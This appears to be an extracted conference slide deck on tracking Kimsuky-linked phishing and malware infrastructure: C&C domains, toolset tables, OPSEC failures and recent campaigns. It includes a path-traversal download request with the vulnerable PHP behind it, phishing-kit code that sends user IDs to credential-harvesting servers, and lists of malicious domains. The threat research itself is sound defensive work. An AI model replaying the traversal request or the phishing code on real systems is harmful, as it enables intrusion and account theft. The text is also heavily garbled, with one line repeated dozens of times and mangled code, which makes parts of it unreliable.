/users/ddlove/www/bbs/data/hybrid/com_080027F7ABAB.txt2019-03-14 10:29:24,211.52.91.23,Build Number : 7601, Major version : 6, Minor version : 1, Bit : 0.0
```
Tracking Malware & Monitoring C&C

CASE 3: File Download vulnerability

Freedom.dll

Timestamp: Tue Jan 08 09:02:00 2019
Export: GrahpHouse

Check Env (32/64)
64bit: /bbs/data/font/exts.fmt

Process Following (explorer.exe)

[SND]: /register.php?WORD=com_XXXXXXXX&NOTE=

[GET]: /bbs/data/ariaK[T]_XXXXXXXX

[DEL]: /join.php?file=
Tracking Malware & Monitoring C&C

- [CASE 3] File Download vulnerability
  - EML – HWP Attachment
  - Distribution Server: member-authorize[.]com

[Image]

[Ministry of Foreign Affairs]
Japan-related daily trends

2019년 3월 12일 오후 5:13

http://member-authorize.com/security/downloads/download.php?
fileName=20190312%20%E9%9D%BC%EB%B3%B8%20%EB%A8%9D%EC%9D%BC%EB%8F%99%ED%96%A5(%E9%99%84).hwp
Tracking Malware & Monitoring C&C

- [CASE 3] File Download vulnerability
  - Directory Listing (OPSEC FAIL – CASE #01)
    - /security/downloads

Index of /security/downloads

- Parent Directory
- 20190312 일본 관련 일일동향(완).hwp
- download.php 20190312_Japan-related daily trends(FN).hwp
Tracking Malware & Monitoring C&C

- [CASE 3] File Download vulnerability
  - Directory Listing (OPSEC FAIL – CASE #01)
    - /security/downloads/download.php

Index of /security/downloads

- Parent Directory
- 20190312 일본 관련 일일동향(완).hwp
- download.php 20190312_Japan-related daily trends(FN).hwp
Tracking Malware & Monitoring C&C

- Like Sherlock Holmes ... again

Search:
Thames
+ High Tide
+ Riverside
[CASE 3] File Download vulnerability

Try to File download

/security/downloads/download.php?fileName=download.php

Index of /security/downloads

- Parent Directory
- 20190312 일본 관련 일일동향(완).hwp
- download.php 20190312_Japan-related daily trends(FN).hwp
### [CASE 3] File Download vulnerability

```php
<?php
$fileName = empty($_GET['fileName']) ? '' : $_GET['fileName'];

function mb_basename($path) { return end(explode('/', $path)); }
function utf2eu($str) { return iconv("UTF-8", "cp949//IGNORE", $str); }
function is_ie() {
    if (!isset($_SERVER['HTTP_USER_AGENT'])) return false;
    if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false) return true; // IE8
    if (strpos($_SERVER['HTTP_USER_AGENT'], 'Windows NT 6.1') !== false) return true; // IE11
    return false;
}

$filepath = './'.$fileName;
$filesize = filesize($filepath);
$filename = mb_basename($filepath);
if (is_ie()) $filename = utf2eu($filename);

header("Pragma: public");
header("Expires: 0");
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=".$filename";");
header("Content-Transfer-Encoding: binary");
header("Content-Length: $filesize");
```
Tracking Malware & Monitoring C&C

- **[CASE 3] File Download vulnerability**
  - Directory Listing + File **download**
    - `../../../../../../../home/u385698457/public_html/`

**Request**

```
GET /security/downloads/download.php?fileName=../../../../../../../home/u385698457/public_html/index.php HTTP/1.1
Host: member-authorize.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6,zh;q=0.5
Connection: close
```
[CASE 3] File Download vulnerability

Directory Listing + File download

../../../../..../home/u385698457/public_html/index.php
Tracking Malware & Monitoring C&C

- [CASE 3] File Download vulnerability
- Directory Listing + File download
  ..../../../../..../public_html/index.php

```
GET /security/downloads/download.php?fileName=../../../../../../../home/u385698457/public_html/index.php HTTP/1.1
Host: member-authorizes.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8
Connection: close

<?php

// This proxy requires PHP's curl extension. Please install/enable it on your server and try again.

// getallheaders 함수가 정의되어있지 않으면 정의
if (!function_exists("getallheaders"))
{
    function getallheaders()
    {
        $result = array();
        foreach($_SERVER as $key => $value) {
            if (substr($key, 0, 5) == "HTTP_") {
                $key = str_ireplace("_", ", ", ucwords(strtolower(str_ireplace(", ", ", ", substr($key, 5)))));
                $result[$key] = $value;
            } else {
                $result[$key] = $value;
            }
        }
        return $result;
    }
}

// 프록시 접속이 정의
// 프록시의 내용 파일 함수
function proxifyレス($cosa, $baseURL) {
```
languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea

languages used only in north korea
Tracking Malware & Monitoring C&C

- [CASE 3] File Download

- Directory Listing + 

  - ../../../../../../home/u385698457/public_html/

```php
// 의뢰기에서의 조작이 다시 프록시를 통과하도록 응답내용을 수정
if (strpos($contentType, "text/html") !== false) {
    // 인코딩을 표준화
    $responseBody = mb_convert_encoding($responseBody);
    // DOM 파싱
    $doc = new DomDocument();
    @doc->loadHTML($responseBody);
    $xpath = new DOMXPath($doc);
    // form의 action을 수정
    foreach ($xpath->query("//form") as $form) {
        $action = $form->getAttribute("action");
        // form 이 action 을 따로 정의하지 않은 경우 그 action
        // 그렇지 않은 경우 action 을 절대 주소로 바꾼다.
        $action = empty($action) ? $url : rel2abs($action);
    }
}
```
[CASE 3] File Download vulnerability

Directory Listing + File **download**

```php
// DOM 파싱
$doc = new DomDocument();
@$doc->loadHTML($responseBody)
xbcpath = new DOMXPath($doc);

// form의 action을 수정
foreach ($xpath->query("//form") as $form) {
    $action = $form->getAttribute("action");

    // form 이 action 을 따로 정의하지 않은 경우 그 action 은 페이지 자체이다.
    // 그렇지 않은 경우 action 을 절대 주소로 바꾼다.
    $action = empty($action) ? $url : rel2abs($action, $url);

    // action 이 다시 프록시를 가리키도록 변경한다.
    $form->setAttribute("action", PROXY_PREFIX . $action);
}
```
Tracking Malware & Monitoring C&C

- [CASE 3] File Download vulnerability
- Directory Listing + File download
- `github.com/ostoc/http2_php/miniProxy.php`
[CASE 3] File Download vulnerability

- Directory Listing + File download
  - /security/mailер

Index of /security/mailier

- Parent Directory
- daum/ DAUM: Major portal website in Korea
- kinu/ KINU: Korea Institute for National Unification
- naver/ NAVER: Major portal website in Korea
- org/
Tracking Malware & Monitoring C&C

- [CASE 3] File Download vulnerability
  - Directory Listing + File download
    - /security/mail

Index of /security/mail

- Parent Directory
- mail.php
- mail_ok.php
Tracking Malware & Monitoring C&C

- [CASE 3] File Download vulnerability
  - Directory Listing + File download
    - `/security/mailer`

SECRET URL: `member-authorize.com/security/mailer/kinu/account_authentication/mail.php`
[CASE 3] File Download vulnerability

- Directory Listing + File download

/securitymailer
[CASE 3] File Download vulnerability

Directory Listing + File download

/security/mailer

[Ministry of Foreign Affairs]
Japan-related daily trends
[CASE 3] File Download vulnerability

Directory Listing + File **download**

1) **mail.php**
[CASE 3] File Download vulnerability

- Directory Listing + File download
- 2) mail_ok.php - attachFileName

```php
$attachFileName = "20190312 일본 관련 엄밀한대(안).hwp";
$attachFileSize = "15KB";
$content = "동북아 1과 이경주 연구원입니다.<br>
자료 송부드리니 업무 참고바랍니다^^";

<table cellspacing="0" cellpadding="0" border="0" style="width:100%">
  <tbody>
    <tr>
      <td align="left" width="17" height="25" valign="top">
          <img src="http://mail1.daumcdn.net/mail_static/mint/img/big/ico_hwp.png" width="17" height="17" border="0" />
        </a>
      </td>
      <td align="left" width="7"></td>
      <td align="left" width="17" height="25" valign="top">
        <img src="http://mail1.daumcdn.net/mail_static/mint/img/big/ico_hwp.png" width="17" height="17" border="0" />
      </td>
      <td align="left" width="7"></td>
      <td align="left" valign="top" style="font-size:13px;font-family: 맑은 고딕,Malgun Gothic,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,돋움,销毁
```
[CASE 3] File Download vulnerability

- Directory Listing + File download

2) mail_ok.php – Phishing (Previous)

```php
$dataServer = "http://mail-safety-center.pe.hu/naver/MyAccount";
$dataServer = "http://naver-customer-center.16mb.com/MyAccount";
$dataServer = "http://nid-mail.hol.es/user2/help";

$passwordForMyInfo = $dataServer.'/?m=viewInputPasswdForMyInfo&menu=security&token_help='.urlencode(base64_encode($userId)); // 로그인 기록 보기
$changePasswd = $dataServer.'/?m=viewChangePasswd&menu=security&token_help='.urlencode(base64_encode($userId)); // 비번변경

loginIdForMyInfo = $dataServer.'/?m=viewInputLoginIdForMyInfo&menu=security&token_help='.urlencode(base64_encode($userId)); // 보안설정 혹은 프로필

myInfo = $dataServer.'/?m=myInfo&menu=security&token_help='.urlencode(base64_encode($userId)); // 프로필 보기
$viewSecurity = $dataServer.'/?m=viewSecurity&menu=security&token_help='.urlencode(base64_encode($userId)); // 보안설정 보기

loginEnv = $dataServer.'/?m=loginEnv&menu=security&token_help='.urlencode(base64_encode($userId)); // 로그인 확인

$readingCheck = $dataServer.'/reading.php?uid='.urlencode($userId);`
```
Contents

- Introduction
- Related Cases
- Toolset characteristics
- Tracking Malware & Monitoring C&C
- Relationships
- Recent Trends
- Conclusion
Relationships

- Like Sherlock Holmes ...

Search:
Thames
+ High Tide
+ Riverside
A CRIMINAL ALWAYS RETURNS TO THE SCENE OF THE CRIME
Relationships

- Between Toolsets and C&C server
  - Compromised website in South Korea
    - Cooperation with the police and investigation agency
    - Respond about C&C server
# Relationships

<table>
<thead>
<tr>
<th>Name</th>
<th>No.</th>
<th>Type (Tag)</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mailer (shape)</td>
<td>1</td>
<td>Mailer</td>
<td>Mailer (just shape)</td>
</tr>
<tr>
<td>Mailer (core)</td>
<td>2</td>
<td>Mailer</td>
<td>Mailer (actual function)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1) Attachment malware</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>2) Link to phishing page for account takeover</td>
</tr>
<tr>
<td>Beaconer</td>
<td>3</td>
<td>Web-Beacon</td>
<td>Beacon to check whether mail is being viewed</td>
</tr>
<tr>
<td>Phisher</td>
<td>4</td>
<td>Account Stealer</td>
<td>Phishing Toolkit(lod) Phishing Page for Account Steal</td>
</tr>
<tr>
<td>Logger</td>
<td>5</td>
<td>Logging</td>
<td>Logging for Phishing Target Information</td>
</tr>
<tr>
<td>Malicious HWP</td>
<td>6</td>
<td>Dropper</td>
<td>Malicious HWP Documents</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Spresar-Phishing</td>
<td></td>
</tr>
<tr>
<td>Camouflaged HWP</td>
<td>7</td>
<td>Dropper</td>
<td>Camouflaged HWP Documents (Ex. sfx, exe ...)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Spresar-Phishing</td>
<td></td>
</tr>
<tr>
<td>Script</td>
<td>8</td>
<td>Downloader</td>
<td>Download additional malware and logging</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Logging</td>
<td>(Ex. *.vbs, *.wsf, *.jse, *.ps1)</td>
</tr>
<tr>
<td>Info Stealer</td>
<td>9</td>
<td>C&amp;C / DLL / FTP Downloader</td>
<td>Steal Information of Infected Target and Download additional malware (Ex. Some case using FTP)</td>
</tr>
</tbody>
</table>
## Relationships

### Between Toolsets and C&C server

<table>
<thead>
<tr>
<th>Domain</th>
<th>Mailer</th>
<th>Beaconer</th>
<th>Pisher</th>
<th>Logger</th>
<th>Malicious HWP</th>
<th>Camouflaged HWP</th>
<th>Script</th>
<th>Info Stealer</th>
<th>Related C&amp;C</th>
</tr>
</thead>
<tbody>
<tr>
<td>gyjmc[]com</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>daum-setting[].hol.es</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>member-authorize[].com</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>snu-mail-ac-kr[].esy.es</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>uefa2018[].000webhostapp.com</td>
</tr>
<tr>
<td>member-authorize[].com</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td>ddlove[].kr</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>ddlove[].kr  gyjmc[].com</td>
</tr>
<tr>
<td>military[].co.kr</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>military[].co.kr</td>
</tr>
<tr>
<td>support-seurity[].esy.es</td>
<td>✔</td>
<td></td>
<td></td>
<td></td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td>primary-help[].esy.es</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>nid-mail[].pe.hu</td>
</tr>
<tr>
<td>nid-mail[].pe.hu</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td>user-protect-center[].pe.hu</td>
<td>✔</td>
<td></td>
<td></td>
<td></td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>user-protect-center[].pe.hu</td>
</tr>
<tr>
<td>nid-protect-team[].pe.hu</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td></td>
</tr>
</tbody>
</table>
# Relationships

## Between Toolsets and C&C server

<table>
<thead>
<tr>
<th>Domain</th>
<th>Mailer</th>
<th>Beaconer</th>
<th>Pisher</th>
<th>Logger</th>
<th>Malicious HWP</th>
<th>Camouflaged HWP</th>
<th>Script</th>
<th>Info Stealer</th>
<th>Related C&amp;C</th>
</tr>
</thead>
<tbody>
<tr>
<td>nid-protect-team[.]890m.com</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td></td>
<td></td>
<td></td>
<td>✔</td>
<td>nid-protect-team[.]890m.com</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>user-daum-center[.]pe.hu</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>user-protect-center[.]pe.hu</td>
</tr>
<tr>
<td>oeks39402[.]890m.com</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✔</td>
<td>naiei-aldiel[.]16mb.com</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>vkcxvkweo[.]96.lt</td>
</tr>
<tr>
<td>nid-management-team[.]890m.com</td>
<td></td>
<td></td>
<td>✔</td>
<td>✔</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>nid-protect-team[.]pe.hu</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>user-daum-center[.]pe.hu</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>user-protect-center[.]pe.hu</td>
</tr>
<tr>
<td>naiei-aldiel[.]16mb.com</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>daum-account-login[.]esy.es</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>oeks39402[.]890m.com</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>vkcxvkweo[.]96.lt</td>
</tr>
<tr>
<td>vkcxvkweo[.]96.lt</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>user-daum-center[.]pe.hu</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td></td>
<td></td>
<td></td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>member-daum-regist[.]hol.es</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>member-view-center[.]esy.es</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>nid-protect-team[.]pe.hu</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>sariwon[.]co.kr</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>user-manage-center[.]hol.es</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>user-protect-center[.]pe.hu</td>
</tr>
</tbody>
</table>
## Relationships

### Between Toolsets and C&C server

<table>
<thead>
<tr>
<th>Domain</th>
<th>Mailer</th>
<th>Beaconer</th>
<th>Pisher</th>
<th>Logger</th>
<th>Malicious HWP</th>
<th>Camouflaged HWP</th>
<th>Script</th>
<th>Info Stealer</th>
<th>Related C&amp;C</th>
</tr>
</thead>
<tbody>
<tr>
<td>sariwon[.]co.kr</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td></td>
<td>✔️</td>
<td>✔️</td>
<td>accounting-microsofft[.]epizy.com</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>csdaum-help[.]esy.es</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>daum-account-login[.]esy.es</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>daum-account-signin[.]pe.hu</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>daum-login-protect[.]hol.es</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>daum-setting[.]hol.es</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>daumlogin[.]esy.es</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>mail-customer-safety-center[.]hol.es</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>mail-naer-protect[.]hol.es</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>mail.naver[.]comuf.com</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>master-daum-help[.]esy.es</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>member-view-center[.]esy.es</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>naver-password[.]esy.es</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>naver-relogin-security[.]96.lt</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>naver-security-mail[.]96.lt</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>naverhelp[.]esy.es</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>naverkorea[.]esy.es</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>naverlogin[.]esy.es</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>nhfoods[.]co.kr</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>protect-yahoo-team[.]000webhostapp.com</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>security-mail-daum[.]000webhostapp.com</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>user-daum-center[.]pe.hu</td>
</tr>
</tbody>
</table>
Relationships

- **Between Toolsets and C&C server**

- Some of the results of analyzing
  
  - gyjmc[.]com (KR) → member-authorize[.]com (HOSTINGER)
  - → ddlovke[.]kr (KR) → military[.]co.kr (KR) ← suppcrt-seourity[.]esy.es (HOSTINGER)

Full ver.:
Contents

- Introduction
- Related Cases
- Toolset characteristics
- Tracking Malware & Monitoring C&C
- Relationships
- Recent Trends
- Conclusion
Recent Trends

- [CASE 3] File Download vulnerability
  - Directory Listing (OPSEC FAIL – CASE #01)
    - /security/downloads

Index of /security/downloads

- Parent Directory
- 20190312 일본 관련 일일동향(완).hwp
- download.php 20190312_Japan-related daily trends(FN).hwp
Recent Trends

- [CASE 3] File Download vulnerability
  - Directory Listing (OPSEC FAIL – CASE #01)

Index of /security/downloads

- Parent Directory
- 0. 북한 단거리 미사일 발사 분석(최종본).zip
- 1. 북한 단거리 미사일 발사 분석(최종본).zip
- 20190312 일본 관련 일일동향(완).hwp
- download.php
- jangya/
- 북한 단거리 미사일 발사 분석(최종본).zip
- 북한 단거리 미사일 발사 분석(최종본).enc.zip
- 참고.zip
- 캡쳐화상.zip
- 피싱메일.zip
Recent Trends

- [CASE 3] File Download vulnerability
  - Directory Listing: New Malware
    - F:\PC_MANAGER\Utopia_v0.1\bin\AppleSeed.pdb

```
.text:10001000 ; Alignment : default
.text:10001000 ; PDB File Name : F:\PC_Manager\Utopia_v0.1\bin\AppleSeed.pdb
.text:10001000 ; OS type : MS Windows
.text:10001000 ; Application type: DLL 32bit

.rdata:10035988 ; Export Ordinals Table for AppleSeed.dll
  .rdata:10035988
  .rdata:10035988 word_10035988   dw 1, 0 ; DATA XREF: .rdata:10035974+0
  .rdata:1003598C aAppleseedDll   db 'AppleSeed.dll',0 ; DATA XREF: .rdata:1003595C+0
  .rdata:1003599A aF6a90e0e7056f1 db 'f6a90e0e7056f1e6a5c1d60fe8fe4971',0 ; DATA XREF: .rdata:off_10035980+0
  .rdata:1003599A aDllinstall    db 'DllInstall',0 ; DATA XREF: .rdata:off_10035980+0
```

144/155
Recent Trends

- [CASE 1-1] Directory Listing – HWP Malware
  - HanyangUpload_script.dll – GetName (2018.07.13)

```javascript
<script language='JScript'>
try {
    var strPath = WScript.Arguments.Named.Item("filepath");


    //WScript.Echo(sResults);
}
</script>
Recent Trends

- [CASE 1-1] Directory Listing – HWP Malware

- Another Logs (2019.07.) => **NUCLEAR**

  C&C : **www.military[.]co.kr** (211.202.2[.]51, KR)

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2019-07-05</td>
<td>10-37</td>
<td>11770274 Bytes</td>
<td>Version 7.4, CCM draft (1).pptx</td>
</tr>
<tr>
<td>2019-07-01</td>
<td>22-47</td>
<td>11770274 Bytes</td>
<td>Version 7.4, CCM draft.pptx</td>
</tr>
<tr>
<td>2019-02-02</td>
<td>18-38</td>
<td>63377 Bytes</td>
<td>Version 8, Military Related [KR]</td>
</tr>
<tr>
<td>2019-02-12</td>
<td>22-52</td>
<td>175578 Bytes</td>
<td>Military Cybersecurity Documents [KR]</td>
</tr>
</tbody>
</table>

Found 11 occurrences of '한수원'.

<table>
<thead>
<tr>
<th>Line</th>
<th>Date</th>
<th>Time</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>35359</td>
<td>2019-07-05</td>
<td>10-37</td>
<td>11770274 Bytes</td>
<td>Version 7.4, CCM draft (1).pptx</td>
</tr>
<tr>
<td>35360</td>
<td>2019-07-01</td>
<td>22-47</td>
<td>11770274 Bytes</td>
<td>Version 7.4, CCM draft.pptx</td>
</tr>
<tr>
<td>35361</td>
<td>2016-01-16</td>
<td>18-33</td>
<td>26747639 Bytes</td>
<td>Version 2015, Military Related [KR]</td>
</tr>
<tr>
<td>41345</td>
<td>2016-01-06</td>
<td>02-29</td>
<td>3617 Bytes</td>
<td>Military Blog [KR]</td>
</tr>
<tr>
<td>42521</td>
<td>2010-11-19</td>
<td>21-48</td>
<td>2222741 Bytes</td>
<td>Reading Materials [KR]</td>
</tr>
<tr>
<td>46497</td>
<td>2016-01-16</td>
<td>18-33</td>
<td>26747639 Bytes</td>
<td>Military Cybersecurity Documents [KR]</td>
</tr>
<tr>
<td>48447</td>
<td>2016-08-11</td>
<td>12-03</td>
<td>50379 Bytes</td>
<td>Military Cybersecurity [KR]</td>
</tr>
<tr>
<td>48815</td>
<td>2018-11-05</td>
<td>10-54</td>
<td>2850457 Bytes</td>
<td>Military Cybersecurity [KR]</td>
</tr>
</tbody>
</table>

146/155
## Recent Trends

### Related Threat Groups

<table>
<thead>
<tr>
<th>Threat Group</th>
<th>Target</th>
<th>Purpose</th>
<th>Activity Time</th>
<th>Major Incident</th>
</tr>
</thead>
<tbody>
<tr>
<td>Kimsuky</td>
<td>Infrastructure, Government, North Korean defectors and politicians</td>
<td>Information gathering and social confusion</td>
<td>2013 ~</td>
<td>KHNP cyber terrorism (2014)</td>
</tr>
</tbody>
</table>
Contents

- Introduction
- Related Cases
- Toolset characteristics
- Tracking Malware & Monitoring C&C
- Relationships
- Recent Trends
- Conclusion
Conclusion

- Incidents Response in advance
  - Geopolitical location in South Korea
  - Tracking&Monitoring + @
    - REMEMBER - Obtained various information through like OPSEC FAIL CASES
  - Share Information
  - Cooperate with Relevant agency for Response
Thank you :) 

Special Thanks: 
Seongsu Park(@unpacker) @GReAT 
amur84 @National Police Agency 
hypen1117 

E – mail : jack2@fsec.or.kr 
Twitter @2runjack2